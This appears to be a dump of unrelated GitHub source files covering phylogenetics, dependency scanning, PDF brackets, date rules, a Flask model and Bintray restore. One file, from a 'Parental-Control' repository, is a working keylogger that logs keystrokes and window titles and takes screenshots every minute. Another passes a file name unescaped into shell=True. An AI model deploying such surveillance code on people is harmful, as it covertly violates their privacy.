frequency_array = np.reshape(frequency_array,(1,-1))\n prediction = model.predict(frequency_array)\n print(\"The order of the models: JC, K2P, F81, HKY, GTR \")\n print('The softmax values of the models: ', prediction)\n x = argmax(prediction)\n y = x.item()\n if y == 0:\n print('JC')\n f.write('JC')\n elif y == 1:\n print('K2P')\n f.write('K2P')\n elif y == 2:\n print('F81')\n f.write('F81')\n elif y == 3:\n print('HKY')\n f.write('HKY')\n else:\n print('GTR')\n f.write('GTR')\n else:\n print(\"The multiplealignment file does not exist!\")\n print(\"Please try again.\")\n sys.exit()\nelif args.sequence_type == 'AA':\n if os.path.isfile(alignment_file):\n command = 'quartet-pattern-counter-v1.1 -p ' + alignment_file + \" \" + os.getcwd() + \"/out.npy\"\n path = os.getcwd() + \"/out.npy\"\n subprocess.run([command], shell=True)\n frequency_array = np.load(path)\n frequency_array = np.reshape(frequency_array, (1, -1))\n prediction = model.predict(frequency_array)\n print(\"The order of the models: JTT, LG, WAG, Dayhoff\")\n print('The softmax values of the models: ', prediction)\n x = argmax(prediction)\n y = x.item()\n if y == 0:\n print('JTT')\n f.write('JTT')\n elif y == 1:\n print('LG')\n f.write('LG')\n elif y == 2:\n print('WAG')\n f.write('WAG')\n else:\n print('DAY')\n f.write('DAY')\n else:\n print(\"The multiplealignment file does not exist!\")\n print(\"Please try again.\")\n sys.exit()\n\nos.remove(\"out.npy\")\nf.close()\n","repo_name":"cmayer/DeepNNPhylogeny","sub_path":"ModelPredictorLoaded.py","file_name":"ModelPredictorLoaded.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9386392123","text":"import requests\nimport json\nimport os\nimport boto3\n\nWS_REST_API_URL = 'https://saas.whitesourcesoftware.com/api'\nWS_API_KEY = os.getenv('WS_APIKEY')\nWS_PROJECT_TOKEN = os.getenv('WS_PROJECTTOKEN')\nWS_BLOCKING_VULNERABILITIES = \"critical,high\"\n\n\ndef get_excluded_libraries():\n dynamodb_client = boto3.resource('dynamodb')\n\n whitesource_exclusion_table = dynamodb_client.Table('whitesource-excluded-libraries')\n whitesource_exclusion_entries = whitesource_exclusion_table.scan()['Items']\n\n exclusions = set()\n for exclusion in whitesource_exclusion_entries:\n exclusions.add(exclusion['library'])\n\n return exclusions\n\n\ndef find_all_high_critical_vulnerabilities_to_resolve(excluded_libraries):\n ws_payload = {\n 'requestType': 'getProjectVulnerabilityReport',\n 'format': 'json',\n 'userKey': WS_API_KEY,\n 'projectToken': WS_PROJECT_TOKEN\n }\n headers = {'content-type': 'application/json'}\n ws_vulnerability_report_response = requests.request(\n 'post',\n WS_REST_API_URL,\n data=json.dumps(ws_payload),\n headers=headers)\n\n project_ws_vulnerabilities = ws_vulnerability_report_response.json()\n vulnerabilities_to_resolve = dict()\n for vulnerability in project_ws_vulnerabilities['vulnerabilities']:\n if vulnerability['severity'] in WS_BLOCKING_VULNERABILITIES:\n library_full_name = f\"{vulnerability['library']['artifactId']}-{vulnerability['library']['version']}.jar\"\n if library_full_name in excluded_libraries:\n print(f\"ⓘ Library {library_full_name} has vulnerabilities but is in exclusion list \")\n else:\n vulnerabilities_to_resolve[vulnerability['name']] = \\\n f\"{library_full_name} (Suggested fix: {vulnerability['topFix']['fixResolution']})\"\n return vulnerabilities_to_resolve\n\n\nwhitesource_exclusion_list = get_excluded_libraries()\nwhitesource_vulnerabilities_to_resolve = find_all_high_critical_vulnerabilities_to_resolve(whitesource_exclusion_list)\nif len(whitesource_vulnerabilities_to_resolve) != 0:\n print(f\"❌ Following {WS_BLOCKING_VULNERABILITIES} whitesource vulnerabilities should get resolved before release:\")\n for vulnerability_name in whitesource_vulnerabilities_to_resolve:\n print(f\"- {vulnerability_name}: {whitesource_vulnerabilities_to_resolve[vulnerability_name]}\")\n exit(1)\nelse:\n print(f\"No {WS_BLOCKING_VULNERABILITIES} whitesource vulnerabilities found! ✅\")\n","repo_name":"SolaceProducts/event-management-agent","sub_path":".github/workflows/release_scripts/whitesource_vulnurability_checker.py","file_name":"whitesource_vulnurability_checker.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"72116390759","text":"\nimport io\n# from functools import partial, wraps\nfrom importlib.resources import open_binary, open_text\nimport json\nimport warnings\n\nfrom reportlab.pdfgen.canvas import Canvas\n\nfrom PyPDF2 import PdfFileReader\n\nfrom curlybrackets.pdf import templates\nfrom curlybrackets.pdf.elements import (TextElement,\n NameListElement,\n ParagraphElement,\n ItemListElement,\n ImageElement)\nfrom curlybrackets.pdf.pages import Page\nfrom curlybrackets.pdf.fonts import DEFAULT_FONT, BASE_FONT\nfrom curlybrackets.pdf.utilities import (expand_kwargs,\n collapse_kwargs,\n ProgressionFormatter, \n NBSP, ENDA)\n\n\nclass Template:\n def __init__(self, template_file, format,\n bracket_size, page, elements, names, **kwargs):\n self.template_file = template_file\n self.format = format\n self.bracket_size = bracket_size\n self.page = Page(**page)\n\n self.names = [self.build_element('names', max_lines=bracket_size, **np)\n for np in names]\n self.elements = ['names']\n\n for e in elements:\n if e == 'names':\n continue\n element_props = kwargs.pop(e)\n if isinstance(element_props, dict):\n element = self.build_element(e, **element_props)\n else:\n element = [self.build_element(e, **ep)\n for ep in element_props]\n setattr(self, e, element)\n self.elements.append(e)\n\n self.meta = kwargs\n\n @staticmethod\n def build_element(element_name, **element_props):\n if element_name in ['names']:\n base_class = NameListElement\n element_defaults = {'fontname': DEFAULT_FONT, 'min_hscale': 60}\n elif element_name in ['event', 'label']:\n base_class = TextElement\n element_defaults = {'fontname': BASE_FONT, 'min_hscale': 90}\n elif element_name in ['pool', 'date', 'total']:\n base_class = TextElement\n element_defaults = {'fontname': BASE_FONT,\n 'alignment': 'center',\n 'min_hscale': 90}\n elif element_name in ['judge']:\n base_class = TextElement\n element_defaults = {'fontname': DEFAULT_FONT, 'min_hscale': 90}\n elif element_name in ['progressions']:\n # if element_props.get('type') == 'list':\n # base_class = ItemListElement\n # else:\n base_class = ParagraphElement\n element_defaults = {'fontname': BASE_FONT, 'valign': 'MIDDLE'}\n elif element_name in ['notes']:\n base_class = ItemListElement\n element_defaults = {'fontname': DEFAULT_FONT, 'bullet': ENDA}\n elif element_name in ['image']:\n base_class = ImageElement\n element_defaults = {}\n else:\n raise ValueError(f'Unrecognized element name: {element_name}')\n\n element_params = {**element_defaults, **element_props}\n return base_class(**element_params)\n\n def create(self):\n self.overlay_packet = io.BytesIO()\n self.canvas = Canvas(self.overlay_packet,\n pagesize=self.page.size,\n initialFontName=DEFAULT_FONT)\n\n def draw_names(self, names, **kwargs):\n for name_element in self.names:\n name_element.draw(self.canvas, names, **kwargs)\n\n def draw_progressions(self, progressions, format_string=None, **kwargs):\n if format_string is None:\n warnings.warn('Progressions skipped, must specify format_string')\n return\n for element in self.progressions:\n if element.type == 'rr':\n fmt_str = '{0:O} place advances to'.replace(' ', NBSP)\n fmt_str += ' ' + format_string\n prog_text = []\n for s in element.seeds:\n if s in progressions:\n text = ProgressionFormatter().format(fmt_str, s,\n **progressions[s])\n prog_text.append(text)\n prog_text = '
    '.join(prog_text)\n else:\n if len(element.seeds) > 1:\n fmt_str = 'Players advance to'.replace(' ', NBSP)\n else:\n fmt_str = 'Player advances to'.replace(' ', NBSP)\n fmt_str += ' ' + format_string\n prog = collapse_kwargs([progressions[s] for s in element.seeds])\n prog_text = ProgressionFormatter().format(fmt_str, **prog)\n element.draw(self.canvas, prog_text, **kwargs)\n\n def draw_element(self, element_name, element_value, **kwargs):\n if not hasattr(self, element_name):\n raise AttributeError(f'Template does not have attribute: '\n f'{element_name}')\n if element_name == 'names':\n self.draw_names(element_value, **kwargs)\n elif element_name == 'progressions':\n if element_value:\n self.draw_progressions(element_value, **kwargs)\n else:\n element = getattr(self, element_name)\n element.draw(self.canvas, element_value, **kwargs)\n\n def draw_page(self, names, **kwargs):\n if not getattr(self, 'canvas', None):\n self.create()\n\n kwargs['names'] = names\n element_values = {e: kwargs.pop(e, None) for e in self.elements}\n element_props = {e: {} for e in self.elements}\n for k in kwargs:\n if k == 'format_string' and 'progressions' in self.elements:\n element_props['progressions']['format_string'] = kwargs[k]\n continue\n for e in self.elements:\n if k.startswith(e+'_'):\n p = k.replace(e+'_', '', 1)\n element_props[e][p] = kwargs[k]\n break\n\n for e in self.elements:\n self.draw_element(e, element_values[e], **element_props[e])\n\n def next_page(self):\n self.canvas.showPage()\n\n def save(self):\n self.canvas.save()\n self.overlay_packet.seek(0)\n\n def draw(self, names, **kwargs):\n if not getattr(self, 'canvas', None):\n self.create()\n if not isinstance(names[0], (tuple, list)):\n names = [names]\n var_kwargs = expand_kwargs(len(names), names=names, **kwargs)\n for vkwargs in var_kwargs:\n self.draw_page(**vkwargs)\n self.next_page()\n self.save()\n\n def merge_pages(self):\n template_packet = open_binary(templates, self.template_file)\n overlay = PdfFileReader(self.overlay_packet)\n for n in range(overlay.numPages):\n bracket = PdfFileReader(template_packet).getPage(0)\n bracket.mergePage(overlay.getPage(n))\n yield bracket\n\n\nclass TemplateLookup:\n key_field = 'template_file'\n sort_field = 'lookup_order'\n reserve_field = 'reserve_options'\n fields = [\n 'format',\n 'n_entrants',\n 'n_in_winnners',\n 'n_in_losers',\n 'n_advance',\n 'template_file',\n 'bracket_size',\n 'n_slots',\n 'lookup_order',\n 'legacy_code',\n 'paper_size',\n 'paper_orientation',\n 'source',\n 'elements'\n ]\n config = json.load(open_text(templates, 'config.json'))\n\n @classmethod\n def lookup(cls, key):\n for lkp in cls.config:\n if key == lkp[cls.key_field]:\n return lkp\n raise ValueError('No matching template found')\n\n @classmethod\n def get(cls, key):\n return Template(**cls.lookup(key))\n\n @classmethod\n def _search(cls, check_reserve=False, **params):\n best_key, best_sort = None, 1e8\n for conf in cls.config:\n lkp = conf\n if check_reserve:\n lkp = {**conf, **conf.get(cls.reserve_field, {})}\n if lkp[cls.sort_field] < best_sort:\n is_match = True\n for k in params:\n if isinstance(lkp.get(k), list):\n is_match &= (params[k] in lkp[k])\n elif lkp.get(k, -999) is not None:\n is_match &= (params[k] == lkp.get(k, -999))\n if not is_match:\n break\n if is_match:\n best_key = lkp[cls.key_field]\n best_sort = lkp[cls.sort_field]\n if best_key is None:\n raise ValueError('No matching template found')\n return best_key\n\n @classmethod\n def search(cls, format, n_advance=0, n_entrants=None,\n n_in_winners=None, n_in_losers=None, **params):\n valid_params = dict(format=format, n_advance=n_advance)\n if n_entrants:\n if n_in_winners or n_in_losers:\n warnings.warn('Field n_entrants supercedes fields'\n 'n_in_winners & n_in_losers')\n valid_params.update(n_entrants=n_entrants)\n elif n_in_winners and n_in_losers:\n valid_params.update(n_in_winners=n_in_winners,\n n_in_losers=n_in_losers)\n else:\n raise KeyError('Missing required lookup field(s), '\n 'Must specify either n_entrants '\n 'or both n_in_winners and n_in_losers')\n for k in params:\n if k in cls.fields:\n valid_params[k] = params[k]\n try:\n match = cls._search(**valid_params)\n except ValueError:\n match = cls._search(check_reserve=True, **valid_params)\n return match\n","repo_name":"margotphoenix/curly-brackets","sub_path":"curlybrackets/pdf/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":9969,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"25406598423","text":"from .date import Date\nfrom .holiday_cal import HolidayCalendar\n\nfrom dateutil.relativedelta import relativedelta, MO, WE, FR\n\nimport datetime\nimport re\n\n__all__ = [\"RDate\"]\n\nQUARTER_FIRST_MTH = [1, 1, 1, 4, 4, 4, 7, 7, 7, 10, 10, 10]\n\nSPLITTER = re.compile(\"([\\+,\\-]\\d*\\w+)\")\nOPERANDS = {\"+\", \"-\"}\n\n\n###############################################################################\nclass RDate(object):\n \"\"\"\n A date shift object that can be added to Dates to generate shifted dates.\n \"\"\"\n __slots__ = (\"date_rule\", \"calendar\")\n\n # -------------------------------------------------------------------------\n def __init__(self, date_rule, calendar=None):\n \"\"\"\n Inputs:\n date_rule - a string specifying relative shift (see below for valid\n date rules).\n calendar - a holiday calendar used to identify business days\n Rule definitions:\n d = add calendar day\n b = add business day\n w = add calendar week\n m = add calendar month\n y = add calendar year\n c = go to the required day in the month\n e = go to end of month (ignores num)\n J = go to first calendar day of month (ignores num)\n M = go to closest Monday as specified by num\n W = go to closest Wednesday as specified by num\n F = go to closest Friday as specified by num\n q = go to beginning of the quarter (ignores num)\n Q = go to end of the quarter (ignores num)\n A = go to beginning of the year (ignores num)\n E = go to end of the year (ignores num)\n \"\"\"\n # --- use parent class setattr because RDate is implemented as an\n # immutable class\n super().__setattr__(\"date_rule\", date_rule)\n super().__setattr__(\"calendar\", calendar or HolidayCalendar())\n\n # -------------------------------------------------------------------------\n def __setattr__(self, attr, value):\n raise AttributeError(\"attribute '{0:s}' of RDate is not settable \"\n \"as RDate is an immutable class\".format(attr))\n\n # -------------------------------------------------------------------------\n def apply_rule(self, d):\n # --- rule processing. If no operator is defined assume it's \"+\"\n if self.date_rule[0] in OPERANDS:\n atomic = SPLITTER.split(self.date_rule)[1::2]\n else:\n atomic = SPLITTER.split(\"+\" + self.date_rule)[1::2]\n\n # --- iteratively apply each atomic rule\n for rule in atomic:\n op = rule[0:-1]\n r = rule[-1]\n if op in OPERANDS:\n op += \"1\"\n # --- look for the proper rule to apply\n if r == \"d\":\n d += relativedelta(days=int(op))\n elif r == \"b\":\n nb = int(op[1:])\n op1 = int(op[0] + \"1\")\n if nb == 0 and self.calendar.is_holiday(d):\n # --- go to the next (or previous) business day only if\n # d is not already a business day\n nb = 1\n for i in range(nb):\n d += relativedelta(days=op1)\n while self.calendar.is_holiday(d):\n d += relativedelta(days=op1)\n elif r == \"w\":\n d += relativedelta(weeks=int(op))\n elif r == \"m\":\n d += relativedelta(months=int(op))\n elif r == \"y\":\n d += relativedelta(years=int(op))\n elif r == \"c\":\n d += relativedelta(day=int(op))\n elif r == \"e\":\n d += relativedelta(day=31)\n elif r == \"J\":\n d += relativedelta(day=1)\n elif r == \"M\":\n d += relativedelta(weekday=MO(int(op)))\n elif r == \"W\":\n d += relativedelta(weekday=WE(int(op)))\n elif r == \"F\":\n d += relativedelta(weekday=FR(int(op)))\n elif r == \"q\":\n d = d.replace(day=1, month=QUARTER_FIRST_MTH[d.month-1])\n elif r == \"Q\":\n d = d.replace(day=1, month=QUARTER_FIRST_MTH[d.month-1]+2)\n d += relativedelta(day=31)\n elif r == \"A\":\n d = d.replace(day=1, month=1)\n elif r == \"E\":\n d = d.replace(day=31, month=12)\n else:\n raise NameError(\"Atomic rule {0:s} is unknown. \"\n \"Full rule is {1:s}\".format(r, rule))\n\n # --- conversion to Date is needed here because applying a\n # relativedelta to a Date returns a datetime object\n return Date.parse(d)\n\n # -------------------------------------------------------------------------\n # relative date algebra\n def __radd__(self, date):\n # --- check against the supercalss datetime.datetime\n if not isinstance(date, (datetime.date, datetime.datetime)):\n raise ValueError(\"RDate can only be applied to a Date. \"\n \"{0!s} was passed instead\".format(date.__class__))\n return self.apply_rule(date)\n","repo_name":"CarlosDinart/PUC-SP","sub_path":"venv/Lib/site-packages/onyx/core/datatypes/rdate.py","file_name":"rdate.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71426492520","text":"import os \nos.listdir('../input')\nimport pandas as pd\ndf = pd.read_csv('../input/train.csv', parse_dates=[0])\ndf.head()\ntest = pd.read_csv('../input/test.csv', parse_dates=[0])\ntest.head()\ndf_all = df.append(test, sort=False)\ndf_all['hour'] = df['datetime'].dt.hour\nimport numpy as np\ndf_all['count'] = np.log(df_all['count'] + 1)\ndf_all['registered'] = np.log(df_all['registered'] + 1)\ndf_all['casual'] = np.log(df_all['casual'] + 1)\ndf_all.shape, df.shape, test.shape\ndf_all.shape\nfrom fastai.imports import *\nfrom fastai.structured import *\nadd_datepart(df_all, 'datetime', drop=False)\ndf_all.info()\ndf = df_all[~df_all['count'].isnull()]\ntest = df_all[df_all['count'].isnull()]\ndf.shape, test.shape\ntrain = df[df['datetimeDay'] <= 15]\nvalid = df[df['datetimeDay'] > 15]\ntrain.shape, valid.shape\nfeats = [c for c in df.columns if c not in ['casual', 'registered', 'count']]\nfeats\nfeats = ['season',\n 'holiday',\n 'workingday',\n 'weather',\n 'temp',\n 'atemp',\n 'humidity',\n 'windspeed',\n 'datetimeDayofweek',\n 'hour',\n 'datetimeYear']\nfrom sklearn.ensemble import RandomForestRegressor\nrf = RandomForestRegressor(n_estimators=100)\nrf.fit(train[feats], train['count'])\nrf.predict(valid[feats])\nfrom sklearn.metrics import mean_squared_error\nmean_squared_error(valid['count'], rf.predict(valid[feats])) ** (1/2)\npd.Series(rf.feature_importances_, index=feats).sort_values().plot.barh()\ntest['count'] = (np.exp(rf.predict(test[feats])) - 1)\ntest[['datetime', 'count']].to_csv('submission.csv', index=False)\n\n\n\n\n\n\n\n\n","repo_name":"aorursy/new-nb-3","sub_path":"erickmuzart_machine-learning-brasilia-aula-11.py","file_name":"erickmuzart_machine-learning-brasilia-aula-11.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24335112175","text":"# -*- coding: utf-8 -*-\n\nPRODUCT_TEMPLATE_TABLE = 'product.template'\nPRODUCT_VARIANT_COUNT_FIELD = 'product_variant_count'\nPRODUCT_VARIANT_IDS_FIELD = 'product_variant_ids'\nPRODUCT_AMAZON_DESCRIPTION_FIELD = 'amazon_description'\nPRODUCT_PRODUCT_BRAND_FIELD = 'product_brand'\nPRODUCT_BULLET_POINT_PREFIX = 'amazon_bullet_point'\nPRODUCT_BULLET_POINT_COUNT = 5\nPRODUCT_IS_PRODUCT_VARIANT_FIELD = 'is_product_variant'\nPRODUCT_ATTRIBUTE_LINE_IDS_FIELD = 'attribute_line_ids'\nPRODUCT_AMAZON_DEPARTMENT_FIELD = 'amazon_department'\nPRODUCT_AMAZON_ITEM_TYPE_FIELD = 'amazon_item_type'\n","repo_name":"amdeb/amdeb-amazon","sub_path":"amdeb_amazon/model_names/product_template.py","file_name":"product_template.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"10532025632","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport json\nimport os\nfrom pathlib import Path\n\nimport requests\nfrom src.bintray_client import BintrayClient\nfrom src.bintray_client import get_sha1_hash\nfrom src.bintray_client import PROGRESS_BAR_FORMAT\nfrom progress.bar import IncrementalBar\n\n\ndef check_dirs_exist(repositories):\n for repository in repositories:\n path = Path(f\"{repository}\")\n if not path.exists():\n raise Exception(f\"{path} does not exist.\")\n\n\ndef get_local_files(repositories: list):\n package_metadata = []\n file_paths = []\n\n print(f\"Discovering local files\")\n for repo_name in repositories:\n for path in Path(repo_name).glob(\"**/*\"):\n if path.is_file():\n if path.name == \"package_metadata.json\":\n package_metadata.append(json.loads(path.read_text()))\n else:\n file_paths.append(path)\n\n return file_paths, package_metadata\n\n\ndef create_new_packages(\n bintray_client, local_package_metadata, bintray_package_metadata\n):\n created_packages = 0\n for package in IncrementalBar(\n f\"Creating packages\", suffix=PROGRESS_BAR_FORMAT\n ).iter(local_package_metadata):\n package_name = package[\"name\"]\n if not any(\n bintray_metadata[\"name\"] == package_name\n for bintray_metadata in bintray_package_metadata\n ):\n created_packages += 1\n bintray_client.create_package(package[\"repo\"], package)\n print(\n f\"created {created_packages} packages, skipped {len(local_package_metadata) - created_packages} packages that already existed\"\n )\n\n\ndef local_path(bintray_file):\n return f\"{bintray_file['repo']}/{bintray_file['package']}/{bintray_file['version']}/{bintray_file['path']}\"\n\n\ndef upload_changed_files(bintray_client, local_files, bintray_files):\n uploaded_files = 0\n for path in IncrementalBar(f\"Uploading files\", suffix=PROGRESS_BAR_FORMAT).iter(\n local_files\n ):\n if not any(\n str(path) == local_path(bintray_file)\n and get_sha1_hash(path) == bintray_file[\"sha1\"]\n for bintray_file in bintray_files\n ):\n uploaded_files += 1\n bintray_client.upload_file(path)\n print(\n f\"uploaded {uploaded_files} files, skipped {len(local_files) - uploaded_files} files that already existed\"\n )\n\n\ndef restore(username, token, organisation, repositories):\n check_dirs_exist(repositories)\n bintray_api_creds = requests.auth.HTTPBasicAuth(username, token)\n bintray_client = BintrayClient(organisation, api_creds=bintray_api_creds)\n\n local_files, local_package_metadata = get_local_files(repositories)\n bintray_files, bintray_package_metadata = bintray_client.get_metadata(repositories)\n\n create_new_packages(\n bintray_client, local_package_metadata, bintray_package_metadata\n )\n upload_changed_files(bintray_client, local_files, bintray_files)\n\n\nif __name__ == \"__main__\":\n username = os.environ[\"BINTRAY_USERNAME\"]\n token = os.environ[\"BINTRAY_TOKEN\"]\n organisation = os.environ[\"BINTRAY_ORGANISATION\"] # e.g. 'hmrc' or 'hmrc-digital'\n repositories = [\"releases\", \"sbt-plugin-releases\"]\n restore(username, token, organisation, repositories)\n","repo_name":"hmrc/bintray-backup-restore","sub_path":"src/bintray_restore.py","file_name":"bintray_restore.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18530143362","text":"from flask_app.config.mysqlconnection import connectToMySQL\n\nclass From_to:\n def __init__(self, data):\n self.id = data['id']\n self.first_name = data['first_name']\n self.last_name = data['last_name']\n self.email= data['email']\n self.message = data['message']\n self.message_id = data['message_id']\n\n @classmethod\n def get_all_user_messages(cls, data):\n query = \"SELECT * FROM login JOIN from_to ON login.id = from_id JOIN message ON message_id = message.id WHERE to_id = %(id)s;\"\n results = connectToMySQL(\"login\").query_db(query, data)\n \n from_to_list = []\n for row_from_db in results:\n from_to_data = {\n \"id\": row_from_db[\"id\"],\n \"first_name\": row_from_db['first_name'],\n \"last_name\": row_from_db['last_name'],\n \"email\": row_from_db['email'],\n \"message\": row_from_db[\"message\"],\n \"message_id\" : row_from_db['message.id']\n }\n from_to_list.append(cls(from_to_data))\n\n return from_to_list\n \n @classmethod\n def delete_message(cls, data):\n query = \"DELETE FROM from_to WHERE from_id = %(from_id)s and message_id = %(message_id)s;\"\n print(query)\n results = connectToMySQL(\"login\").query_db(query, data)\n print(results)\n return\n \n @classmethod\n def create_relation_message(cls, data):\n query = \"INSERT INTO from_to (from_id, to_id, message_id) values (%(form_id)s, %(to_id)s, %(message_id)s);\"\n result = connectToMySQL(\"login\").query_db(query,data)\n return result","repo_name":"StefanieCruzV/FMQprivatewall11PY","sub_path":"loginandregistration/flask_app/models/from_to.py","file_name":"from_to.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42693009173","text":"#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\nunit = number % 10\nif number < 0:\n unit -= 10\nif unit == 0:\n print(\"Last digit of {1} is {0} and is 0\".format(unit, number))\nelif unit > 5:\n print(\"Last digit of {} is {} and is greater than 5\".format(number, unit))\nelif unit < 6:\n print(f\"Last digit of {number} is {unit} and is less than 6 and not 0\")\n","repo_name":"Manuel-7tin/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/1-last_digit.py","file_name":"1-last_digit.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72592898919","text":"import sys\nimport time\nfrom pynput.keyboard import Listener\nimport pyautogui\nimport datetime\nimport threading\nimport os\nfrom win32gui import GetWindowText, GetForegroundWindow\n\nlock = threading.Lock()\n\n\ndef get_dir_name():\n now = datetime.datetime.now()\n parent_dir = str(now.strftime('%d-%m-%Y'))\n log_dir = os.path.join(parent_dir, 'log')\n img_dir = os.path.join(parent_dir, 'img')\n return [log_dir, img_dir]\n\n\ndef get_img_path():\n now = datetime.datetime.now().strftime('%d-%m-%Y %H;%M.png')\n path = get_dir_name()[1]\n img_path = os.path.join(path, now)\n return img_path\n\n\ndef get_log_path():\n now = datetime.datetime.now().strftime('%d-%m-%Y')\n path = get_dir_name()[0]\n log_path = os.path.join(path, now)\n return log_path\n\n\ndef create_dir():\n now = datetime.datetime.now()\n parent_dir = str(now.strftime('%d-%m-%Y'))\n log_dir = os.path.join(parent_dir, 'log')\n img_dir = os.path.join(parent_dir, 'img')\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(img_dir, exist_ok=True)\n\n\ndef screenshot():\n img_path = get_img_path()\n if not os.path.isfile(img_path):\n curr_screen = pyautogui.screenshot()\n curr_screen.save(get_img_path())\n\n\ndef get_max_char():\n return 50\n\n\nclass Logger:\n def __init__(self):\n self.max_char = get_max_char()\n self.log_time = True\n self.running = False\n self.listener = Listener(on_press=self.on_press)\n self.count_down_thread = threading.Thread(target=self.count_down, args=(60,), daemon=True)\n self.switch = False\n\n create_dir()\n\n def count_down(self, sec):\n last_window = \"\"\n file_name = f'{get_log_path()} apps.txt'\n screenshot()\n sec = 60\n while self.switch:\n active_window = GetWindowText(GetForegroundWindow())\n now = datetime.datetime.now().strftime('\\n[%H:%M] ')\n if active_window != last_window:\n last_window = active_window\n with open(file_name, 'a', encoding=\"utf-8\") as file:\n if active_window:\n file.write(now)\n file.write(active_window)\n sec -= 1\n time.sleep(1)\n if sec == 0:\n sec = 60\n screenshot()\n lock.acquire()\n self.log_time = True\n lock.release()\n return False\n\n def write_to_log(self, key):\n file_name = f'{get_log_path()} key.txt'\n with open(file_name, 'a') as file:\n if self.log_time:\n now = datetime.datetime.now().strftime('\\n\\n[%H:%M]\\n')\n file.write(now)\n lock.acquire()\n self.max_char = get_max_char()\n self.log_time = False\n lock.release()\n key = str(key).replace(\"'\", \"\")\n file.write(key)\n self.max_char -= 1\n if self.max_char == 0:\n self.max_char = get_max_char()\n file.write('\\n')\n else:\n file.write(' ')\n\n def on_press(self, key):\n if not self.switch:\n return False\n self.write_to_log(key)\n try:\n print('alphanumeric key {0} pressed'.format(key.char))\n\n except AttributeError:\n print('special key {0} pressed'.format(key))\n\n def keylogger(self):\n if not self.running:\n self.running = True\n self.listener.start()\n\n def begin(self):\n self.switch = True\n self.count_down_thread.start()\n self.keylogger()\n\n def end(self):\n lock.acquire()\n self.switch = False\n lock.release()","repo_name":"SilentCatD/Parental-Control","sub_path":"Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6924627942","text":"#!/usr/bin/env python2\nfrom numpy import array\nfrom numpy.random import randn\nimport sys\nfrom StringIO import StringIO\n\ndivs = 10\ndm1 = divs - 1\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print('usage: %s ' % sys.argv[0])\n sys.exit(1)\n s = StringIO()\n struct = sys.argv[1]\n amp = float(sys.argv[2])\n atoms = 0\n if struct == 'BCC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and y != dm1 and z != dm1:\n atoms += 1\n point = 0.5 + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n elif struct == 'FCC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and y != dm1:\n atoms += 1\n point = array([0.5, 0.5, 0]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n if True: #x != dm1 and z != dm1:\n atoms += 1\n point = array([0.5, 0, 0.5]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n if True: #y != dm1 and z != dm1:\n atoms += 1\n point = array([0, 0.5, 0.5]) + array([x, y, z]) + amp * randn(3)\n s.write('B %f %f %f\\n' % tuple(point))\n elif struct == 'SC':\n for x in range(divs):\n for y in range(divs):\n for z in range(divs):\n atoms += 1\n point = array([x, y, z]) + amp * randn(3)\n s.write('A %f %f %f\\n' % tuple(point))\n\n sys.stdout.write('%d\\ncomment\\n' % atoms)\n sys.stdout.write(s.getvalue())\n\n","repo_name":"liquid-phynix/mcstar-scripts","sub_path":"genstruct.py","file_name":"genstruct.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21835071905","text":"import urllib2\nimport mimetypes\nimport tempfile\nimport os\nimport PIL.Image\nimport imghdr\nimport base64\nimport StringIO\n\nfrom tuckshop.core.redis_connection import RedisConnection\nfrom tuckshop.core.tuckshop_exception import TuckshopException\n\n\nclass Image(object):\n \"\"\"Provides methods for obtaining and caching inventory images\"\"\"\n\n DEFAULT_IMAGE = 'http://www.irishdist.ie/wp-content/uploads/2015/07/noimage-400x400.jpg'\n\n @property\n def cache_key(self):\n \"\"\"Returns the redis key for cached image for the inventory object\"\"\"\n return 'Image_Data_%s' % self.inventory.id\n\n @property\n def mime_type_cache_key(self):\n return 'Image_Mime_%s' % self.inventory.id\n\n @property\n def resized_cache_key(self):\n return 'Image_Thumbnail_%s' % self.inventory.id\n\n def __init__(self, inventory):\n \"\"\"Sets up the object\"\"\"\n self.inventory = inventory\n\n def _getImageUrl(self):\n # Return the image URL, if it exists. Else, return a default image\n return self.inventory.image_url if self.inventory.image_url else self.DEFAULT_IMAGE\n\n def getSrc(self):\n \"\"\"Returns the html 'src' data for the 